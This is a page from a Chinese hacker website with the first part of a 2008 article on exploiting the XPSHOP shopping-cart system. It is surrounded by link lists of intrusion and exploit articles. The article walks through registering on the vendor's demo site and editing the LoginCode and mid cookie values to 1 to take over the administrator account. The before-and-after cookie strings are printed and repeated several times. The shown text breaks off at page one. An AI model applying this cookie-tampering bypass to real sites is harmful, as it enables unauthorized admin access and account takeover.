·	没有路由密码权限时的鸽	08-23	·	XPSHOP商城系统漏洞利用	11-02
·	MS08067全自动抓鸡利用工	11-02	·	1K JSP网马	11-02
·	LOG备份与备份差异的对比	11-02	·	通过Mysql入侵服务器	11-02
·	手工打造更强大的Window	11-02	·	我的网络电脑，网络免费	11-02
·	著名的智能化免费DNS解析	11-02	·	HastyFree提供1G免费php	11-02
·	利用“dbo”获得SQL管理	10-31	·	入侵渗透梁静茹官方网站	10-31
·	妙用QQ安全链接中心	10-31	·	PHP168整站系统0DAY	10-31
·	ASPXshell MS08-067插件	10-31	·	SA执行命令方法总结	10-31
·	神奇XT 让Windows图片查	10-31	·	Vista系统EFS加密功能的	10-31
·	Windows 2008下应对驱动	10-30	·	用U盘共享Windows vista	10-29
·	占用0%资源 HOST文件打造	10-29	·	延长硬盘寿命！深入了解	10-29
·	响应MS08-067 Windows系	10-29	·	一种防注入代码的绕过学	10-28
·	Ms08-067 Exp 详细测试流	10-28	·	织梦(Dedecms)任意代码执	10-28
·	社工+提权艰难入侵某通信	10-28	·	艰难入侵源码站并提权	10-28

[组图]XPSHOP商城系统漏洞利用

荐 ★★★★★

XPSHOP商城系统漏洞利用

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2008-11-2 11:53:42

无意中发现这个漏洞的..官方现在还不知道...我没有在别处公布哦..
这个漏洞不好...要直拉改人家管理员密码!!有点儿缺德!!!...
但为了我们的网络更安全..还是看看吧...

首先先看看这个站吧:http://demo1.xpshop.cn/
先注册一个用户进去..为了方便也为了不要那么垃圾账户在人家系统里.我这说一下我注册好了的用户名:wc1217 密码:77423704

好..还是用啊D打开网站比较好..看截图:记得要保留cookies

之后便看看他的Cookies...

代码:

以下是引用片段：
LoginCode=0684; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=14

我们改一下这两个值:LoginCode=0684;mid=14 .......都改成1 :

代码:

以下是引用片段：
LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1

点击修改..后右键刷新看一下..要注意.不要刷得太快...不然就没用了..

[1] [2] 下一页

文章录入：cainiaowang 责任编辑：xinlian

上一篇文章：入侵渗透梁静茹官方网站

下一篇文章：没有了

【字体：小大】

中介交易区

最新热门

实例讲解跨站入侵攻防战之攻击篇	05-08
对偶偶娱乐分站服务器的安全检测	04-23
入侵88red系统的详细过程	04-07
对趋势科技等数万网站被攻击的分	03-21
凡人网络购物系统 V8.0 简体中文	03-18
linux平台下渗透日本著名XXXXXX.	03-18
搜索框所引起的XSS漏洞	03-05
跳转漏洞的利用	03-05
对复旦大学的一次漫长渗透	03-03
.net一句话马以及dx论坛拿shell	03-01
php渗透入侵过程图文详解	03-01
DJ网站的入侵详细过程	02-26

织梦(Dedecms)任意代码执行漏洞
教你巧用文本编辑器查找系统安全漏洞
上传漏洞之构造入侵
用Flash 漏洞攻破Vista系统
快客电邮(QuarkMail)远程命令执行漏洞
MS Internet Explorer GDI+ Proof of C
Windows 98 最新登录漏洞
PhpCms2007 sp6 SQL漏洞注入0day代码
EmpireCMS47 SQL注入漏洞利用代码
动网Dvbbs·php 2.0++ Blind SQL注入漏
DEDECMS跨站及爆绝对路径漏洞
多款RSS阅读器出现XSS漏洞

XPSHOP商城系统漏洞利用

代码: 以下是引用片段：LoginCode=0684; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=14

代码: 以下是引用片段：LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1

代码:

以下是引用片段：
LoginCode=0684; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=14

代码:

以下是引用片段：
LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1